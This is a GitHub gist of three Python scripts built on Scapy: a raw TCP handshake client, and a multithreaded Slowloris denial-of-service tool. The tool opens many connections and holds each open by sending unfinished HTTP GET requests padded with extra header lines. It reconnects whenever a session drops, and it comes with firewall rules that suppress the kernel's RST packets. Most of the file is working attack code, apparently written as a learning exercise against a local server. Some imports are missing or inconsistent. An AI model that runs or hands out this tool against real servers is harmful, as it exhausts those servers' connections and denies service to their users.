Last active
February 9, 2020 05:59
-
-
Save Kafva/86ecf681d7c37fc2a2494824ad7da933 to your computer and use it in GitHub Desktop.
Scapy scripts to perform a TCP handshake and an attempted slow lorris attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from sys import argv | |
import TCP_Connection | |
from random import randint | |
from scapy.all import IP, TCP | |
conf.use_pcap = True | |
# All HTTP packets require the intial header with the method and HTTP version | |
# and the Host: field corresponding to the URL used to fetch the resource | |
#----------------------------------------------# | |
# NOTE that by default the kernel will send out a RST after recieving the SYN-ACK packet | |
# which means that the 3-way-handshake becomes interrupted, to solve this one needs | |
# to implement a firewall rule that drops outgoing RST packets | |
# iptables -A OUTPUT -p tcp --dport 8080 --tcp-flags RST RST -j DROP | |
# or in pf | |
# block drop out quick proto tcp to any port 8080 flags R/R | |
# Fancy way of monitoiring the incoming connections on the server | |
# watch "netstat -tunap | grep ':8080'" | |
#----------------------------------------------# | |
if 2 <= len(argv) <= 4: | |
if len(argv[1].split(':')) != 2: | |
exit("usage: ./handshake <IP>:<dport> [verbosity 0...5]") | |
if len(argv) == 3: | |
verbose=int(argv[2]) | |
else: | |
verbose = 0 | |
else: | |
exit("usage: ./handshake <IP>:<dport> [verbosity 0...5]") | |
#----------------------------------------------# | |
dst = argv[1].split(':')[0] | |
dport = int(argv[1].split(':')[1]) | |
sport = randint(5000,50000) | |
src = IP(dst=dst).src | |
conn = TCP_Connection.TCP_Connection(dst=dst, dport=dport, src=src, sport=sport, seq=randint(0,2**32), | |
ack=0, rel_seq=True, verbose=verbose, scenario=1) | |
conn.send_syn() | |
print("[Used port {}]".format(conn.sport)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from sys import argv | |
import TCP_Connection | |
from random import randint | |
from scapy.all import IP, TCP | |
from threading import Thread, enumerate as th_enumerate | |
import time | |
conf.use_pcap = True | |
if 2 <= len(argv) <= 5: | |
if len(argv[1].split(':')) != 2: | |
exit("usage: ./lorris <IP>:<dport> <sessions> <times> <delay>") | |
if len(argv) >= 3: | |
sessions=int(argv[2]) | |
else: | |
sessions=10 | |
if len(argv) >= 4: | |
times=int(argv[3]) | |
else: | |
times=0 | |
if len(argv) == 5: | |
delay=int(argv[4]) | |
else: | |
delay=3 | |
else: | |
exit("usage: ./lorris <IP>:<dport> <sessions> <times> <delay>") | |
#----------------------------------------------# | |
### Ensure that outgoing RST packets are blocked to the port/host that is being targeted ### | |
# To run a thread for as long as the server is responding simply set a high 'times' value | |
# watch "apache2ctl status" | |
dst = argv[1].split(':')[0] | |
dport = int(argv[1].split(':')[1]) | |
src = IP(dst=dst).src | |
sport = randint(4000, 40000) | |
# GET / HTTP/1.1 | |
# Host: <host> | |
# X-header-1: <...> | |
# X-header-2: <...> | |
# .... | |
# Valid HTTP Request (\r\n = 0D 0A) is used for newlines | |
# 47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A GET / HTTP/1.1.. | |
# 48 6F 73 74 3A 20 31 39 32 2E 31 36 38 2E 30 2E Host: 192.168.0. | |
# 31 36 32 0D 0A 0D 0A 162.... | |
# ===> bytes("GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(self.dst), 'ascii') | |
# A slow lorris attack utilises the fact that an HTTP header can contain an arbitrary ammount of extra headers | |
# user defined headers (usually prefixed with X-) and the fact that an HTTP request needs to | |
# be terminated with an empty line before being processed | |
# We can therefore send an incomplete HTTP request and then periodically send more packets containing | |
# a few more lines of headers keeping the connection alive | |
sport = randint(4000,60000) | |
sports = [] | |
threads = [] | |
for i in range(0,sessions): | |
# Init threads | |
while sport in sports: | |
sport = randint(4000,60000) | |
conn = TCP_Connection.TCP_Connection(dst=dst, dport=dport, src=src, sport=sport, seq=randint(0,2**32), | |
ack=0, rel_seq=True, verbose=-1, scenario=3, times=times, delay=delay) | |
# Save the number of packets sent by the thread before it lost its connection | |
sent = 0 | |
# Save the thread to execute and its source port | |
threads.append( (Thread(None, conn.handle_reply, args=[None, sent] ), sport, sent) ) | |
sports.append(sport) | |
for th_tuple in threads: | |
# Run threads | |
print("≈≈≈ Started thread [port {}] ≈≈≈".format(th_tuple[1])) | |
th_tuple[0].start() | |
# Give some space in between each thread | |
time.sleep(3) | |
print("≈≈≈ #{} thread(s) running... ≈≈≈".format(len(th_enumerate())-1)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
from random import randint | |
from sys import maxsize | |
from time import sleep | |
from threading import Thread | |
load_layer('http') | |
conf.use_pcap = True | |
# SEQ: Updated when an acknowldegment that ensures the data transmitted has been recieved | |
# | |
# The next-sequence number for the sender will correspond to (sender-SEQ) + (size of sent TCP data) | |
# and is incremented once an ACKNOWLEDGMENT of (sender-SEQ) + (size of sent TCP data) | |
# is recieved | |
# ACK: Updated in accordance with the size of the recieved PAYLOAD | |
class TCP_Connection: | |
def __init__(self, dst, dport, src, sport, seq=randint(0,2**32), ack=0, rel_seq=False,verbose=0, scenario=1, times=10, delay=3): | |
self.src = src | |
self.dst = dst | |
self.dport = dport | |
self.sport = sport | |
self.seq = seq | |
self.ack = ack | |
self.next_seq = self.seq | |
# Relative sequence numbers | |
self.rel_seq = rel_seq | |
self.src_seed = self.seq | |
self.dst_seed = 0 | |
# Modifiers | |
self.verbose = verbose | |
self.scenario = scenario | |
# Slow lorris | |
self.times = times | |
self.delay = delay | |
#-----------------SEND/RECIEVE-----------------------# | |
def recieveHTTP(self,pkt): | |
if self.verbose >= 5: pkt.show() | |
# Send the GET request | |
send(pkt) | |
# Update the sequence number in accordance with the GET request size | |
# The ensuing ACKs within the HTTP processing loops will be empty and thereby | |
# not increase the sequence number | |
self.seq += len(pkt[TCP]) - 20 | |
HTML = b'' | |
done = False | |
FIN = False | |
sniffed = True | |
prev_seq = 0 | |
content_length = maxsize | |
# We will keep on capturing data until we recieve a response with the PSH flag set | |
# Or until we don't recieve any responses | |
while not done and not FIN and sniffed: | |
# Capture all repsonses with the correct acknowledgment number | |
sniffed = sniff(filter="tcp port {}".format(self.dport), lfilter=self.match_reply, timeout=3) | |
print("-------HTTP replies---------") | |
print(" **** ({}) ****".format(len(sniffed))) | |
for reply in sniffed: | |
# Update the ACK number for each response | |
# which isn't a retransmission | |
if reply[TCP].seq >= prev_seq: | |
prev_seq = reply[TCP].seq | |
self.ack += int(reply[IP].len - (reply[IP].ihl*32/8) - (reply[TCP].dataofs*32/8) ) | |
self.printPacket(reply) | |
if reply.haslayer(HTTP): | |
HTML += reply[HTTP].load | |
if reply.haslayer(HTTPResponse): | |
# NOTE that only the first packet in the HTTP stream will contain the | |
# header wherein we can extract the Content_Length | |
# and NOTE that the content_length does NOT include the HTTP response header | |
# and that the HTML object is kept in BYTE not STR format to adhear with it | |
content_length = int(reply[HTTPResponse].Content_Length) | |
# Technically one should be able to stop processing packets once a PSH packet | |
# is recieved but this doesn't work in (at least not agianst an Nginx server) | |
# since both the next-to-last and last packets have PSH set | |
if len(HTML) > content_length: | |
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈") | |
print("Total recieved data exceeding Content_Length ({}), packet processing cancelled!".format(content_length)) | |
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈") | |
done = True | |
break | |
if re.match('F', str(reply[TCP].flags)): | |
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈") | |
print("Recieved FIN flag, terminating transmission") | |
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈") | |
FIN = True | |
break | |
else: | |
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈") | |
print("Caught retransmission, skipping packet:") | |
self.printPacket(reply) | |
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈") | |
print("----------------------------") | |
if FIN and sniffed: | |
# If a FIN flag was recieved move right along to answer it | |
self.send_fin() | |
elif sniffed: | |
# Acknowledge the recieved data (if any) | |
self.send_ack() | |
self.HTMLrepr(HTML, "index.html") | |
return FIN | |
def sendrecv(self,pkt,timeout=3): | |
### SEQ and ACK are updated here #### | |
if self.verbose >= 5: pkt.show() | |
send(pkt,verbose=self.verbose + 1) | |
sniffed = sniff(filter="tcp port {}".format(self.dport), lfilter=self.match_reply, count=1, timeout=timeout) | |
if not sniffed: | |
if self.rel_seq: | |
if self.scenario != 3: | |
exit("No replies recieved with ACK = {}".format(self.next_seq - self.src_seed)) | |
else: | |
return None | |
else: | |
if self.scenario != 3: | |
exit("No replied recieved with ACK = {}".format(self.next_seq )) | |
else: | |
return None | |
reply = sniffed[0] | |
if re.match( 'F|S', str(reply[TCP].flags)): | |
# If a SYN-ACK is recieved update the base-ack number to the sequence used by the server and incrment | |
# by one regardless of the payload size (applies for FIN packets as well) | |
self.ack = reply[TCP].seq + 1 | |
if self.rel_seq: self.dst_seed = reply[TCP].seq | |
else: | |
# Increment the acknowledgment number based upon the payload length in TCP pkt | |
self.ack += int(reply[IP].len - (reply[IP].ihl*32/8) - (reply[TCP].dataofs*32/8) ) | |
# Update the sequence number | |
self.seq = self.next_seq | |
return reply | |
def match_reply(self,pkt): | |
''' The matching ensures that the ACK from the "server" corresponds to the | |
expected sequence number from the ammount of data that was sent ''' | |
if pkt.haslayer(IP) and pkt.haslayer(TCP): | |
if pkt[IP].src == self.dst and pkt[IP].dst == self.src \ | |
and pkt[TCP].dport == self.sport and pkt[TCP].sport == self.dport \ | |
and pkt[TCP].ack == self.next_seq: | |
return True | |
return False | |
#----------------PACKET METHODS-----------------------# | |
def send_syn(self): | |
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack) | |
pkt[TCP].flags = 'S' | |
# Update the expected next SEQ value based upon the size of the data sent (1 for SYN since their is no payload) | |
self.next_seq = self.seq + 1 | |
self.printPacket(pkt) | |
reply = self.sendrecv(pkt) | |
self.printPacket(reply) | |
self.handle_reply(reply) | |
def send_ack(self): | |
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack) | |
pkt[TCP].flags = 'A' | |
##### NOTE that we don't need an ACK for an ACK, we could just terminate and not wait for a response when sending | |
##### an empty payload... IF you want a response however you need to provide data in the payload | |
##### to trigger an increase in the servers ACK | |
#pkt = pkt/("X"*1) | |
# Update the expected next SEQ value based upon the size of the data sent (nothing) | |
self.next_seq = self.seq | |
self.printPacket(pkt) | |
# We don't expect an answer from the ACK to an empty SYN-ACK | |
send(pkt,verbose=self.verbose + 1) | |
def send_fin(self): | |
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack) | |
pkt[TCP].flags = 'FA' | |
# FIN packets work like SYN packets in that they increment the sequence number by one | |
# (as if they had a payload size of 1) | |
self.next_seq = self.seq + 1 | |
self.printPacket(pkt) | |
reply = self.sendrecv(pkt) | |
self.printPacket(reply) | |
self.handle_reply(reply) | |
def send_final_ack(self): | |
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack) | |
pkt[TCP].flags = 'A' | |
# No data transmitted, don't update the expected ACK value | |
self.next_seq = self.seq | |
self.printPacket(pkt) | |
send(pkt,verbose=self.verbose + 1) | |
def send_GET(self,data): | |
pkt = IP(dst=self.dst,src=self.src)/TCP(dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)/data | |
# The PUSH flag is used to notify the reciever that the application layer content written to the socket | |
# should be forwarded immediatelly. I.e. once a HTTP request is completed (over one more packets) a PUSH | |
# flag will be added in the last packet to notify the recipent that no more data is coming in regards to | |
# the perticular service (for now). | |
# The reason why we need a PUSH action comes from the fact that the TCP stack buffers data by default and | |
# doesn't forward it to higher protocols until the buffer is filled. | |
# The PSH flag is therefore set in all session based traffic such as SSH and Telnet to avoid buffering | |
# of key-inputs, the URG flag is used for similar reasons but isn't as common today | |
pkt[TCP].flags = 'PA' | |
self.next_seq = self.seq + ( len(pkt[TCP]) - 20 ) | |
self.printPacket(pkt) | |
return self.recieveHTTP(pkt) | |
def send_incomplete_GETs(self,times=10,delay=1): | |
''' Sends an intial request missing the empty line given from an additional \'\r\n\' followed by nonsens headers | |
every <delay> seconds over <times> iterations ''' | |
data = bytes("GET / HTTP/1.1\r\nHost: {}\r\n".format(self.dst), 'ascii') | |
successes = 0 | |
for i in range(0,times): | |
# The sleep function will shift control to another running thread | |
time.sleep(delay) | |
# Since we don't want the server to push the request to the application layer we omit the PSH flag | |
# Note that we recreate the packet each time to make sure that we get the correct SEQ and ACK values | |
pkt = IP(dst=self.dst,src=self.src)/TCP( flags='A',dport=self.dport, sport=self.sport, seq=self.seq, ack=self.ack)/data | |
self.next_seq = self.seq + len(data) | |
self.printPacket(pkt) | |
reply = self.sendrecv(pkt) | |
if not reply: break | |
self.printPacket(reply) | |
data = bytes("X-header-{}: {}\r\n".format(i, 42 ), 'ascii') | |
successes += 1 | |
return successes | |
#----------------------MISC---------------------------# | |
def handle_reply(self,reply,sent=0): | |
''' Scenario 1 initiates a TCP connection with 3-way-handshake and immediatelly terminates it | |
afterwards with a FIN handshake. Scenario 2 sends a GET request after establishing a connection | |
and thereafter closes it using a FIN handshake. In scenario 3 we issue a DoS attack by sending an incomplete | |
HTTP request missing the last required line feed and skip sending a FIN to close the connection ''' | |
if self.scenario == 1: | |
if reply[TCP].flags == 'SA': | |
self.send_ack() | |
self.send_fin() | |
elif reply[TCP].flags == 'FA': | |
self.send_final_ack() | |
elif self.scenario == 2: | |
if reply[TCP].flags == 'SA': | |
self.send_ack() | |
FIN = self.send_GET(HTTP()/HTTPRequest(Host=self.dst)) | |
if not FIN: | |
self.send_fin() | |
elif reply[TCP].flags == 'FA': | |
self.send_final_ack() | |
elif self.scenario == 3: | |
if not reply: | |
self.send_syn() | |
elif reply[TCP].flags == 'SA': | |
self.send_ack() | |
sent = self.send_incomplete_GETs(self.times, self.delay) | |
print("[{}] Connection terminated. Reestablishing...".format( self.sport )) | |
# Instead of terminating once the connection times out, reinitate it | |
self.seq = randint(1,100000) | |
self.sport = randint(4000,60000) | |
self.ack = 0 | |
self.handle_reply(None,sent) | |
elif reply[TCP].flags == 'FA': | |
self.send_final_ack() | |
def HTMLrepr(self,HTML,filename): | |
if self.verbose: | |
print("----------------------------") | |
print("Writing HTTP response data to {}...".format(filename)) | |
with open(filename, "wb") as f: | |
f.write(HTML) | |
def printPacket(self,pkt): | |
if pkt and self.verbose >= 0: | |
if pkt[IP].src == self.src: | |
if self.rel_seq: | |
print("[{}] Sent: ({}) > {}:{}\t\t(seq={}, ack={})\t\tpayload = {} byte(s)".format( self.sport, pkt[TCP].flags, self.dst, self.dport, self.seq - self.src_seed, self.ack - self.dst_seed, len(pkt[TCP]) - 20 )) | |
else: | |
print("[{}] Sent: ({}) > {}:{}\t\t(seq={}, ack={})\tpayload = {} byte(s)".format(self.sport, pkt[TCP].flags, self.dst, self.dport, self.seq, self.ack, int(len(pkt[TCP]) - 20) )) | |
else: | |
if self.rel_seq: | |
print("[{}] Recieved: ({}) < {}:{}\t(seq={}, ack={})\t\tpayload = {} byte(s)".format( self.sport, pkt[TCP].flags, pkt[IP].src, pkt[TCP].sport, pkt[TCP].seq - self.dst_seed, pkt[TCP].ack - self.src_seed, int(pkt[IP].len - (pkt[IP].ihl*32/8) - (pkt[TCP].dataofs*32/8) ))) | |
else: | |
print("[{}] Recieved: ({}) < {}:{}\t(seq={}, ack={})\tpayload = {} byte(s)".format( self.sport, pkt[TCP].flags, pkt[IP].src, pkt[TCP].sport, pkt[TCP].seq, pkt[TCP].ack, int(pkt[IP].len - (pkt[IP].ihl*32/8) - (pkt[TCP].dataofs*32/8) ))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment